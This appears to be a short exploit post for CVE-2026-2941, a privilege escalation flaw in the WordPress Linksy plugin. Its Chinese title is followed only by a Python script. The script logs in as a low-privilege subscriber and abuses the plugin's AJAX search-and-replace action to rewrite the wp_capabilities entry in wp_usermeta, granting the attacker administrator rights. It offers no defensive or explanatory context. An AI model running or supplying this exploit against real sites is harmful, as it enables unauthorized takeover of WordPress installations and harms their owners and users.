CVE-2026-2941 WordPress Linksy插件权限提升漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" attacker_user_id = 2 # Replace with the actual user ID of the attacker # 1. Authenticate to obtain a session cookie session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin' } session.post("http://example.com/wp-login.php", data=login_payload) # 2. Exploit the vulnerability to update wp_capabilities # The vulnerability allows updating any table. We target wp_usermeta to escalate privileges. exploit_payload = { 'action': 'linksy_search_and_replace_item_details', # The vulnerable AJAX action 'table_name': 'wp_usermeta', 'primary_key': 'user_id', 'primary_key_value': attacker_user_id, 'field_name': 'meta_key', # Targeting the capability key 'field_value': 'wp_capabilities', # Serialized data for Administrator role 'new_value': 'a:1:{s:13:"administrator";b:1;}' } try: response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Request sent successfully. Attempting privilege escalation...") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")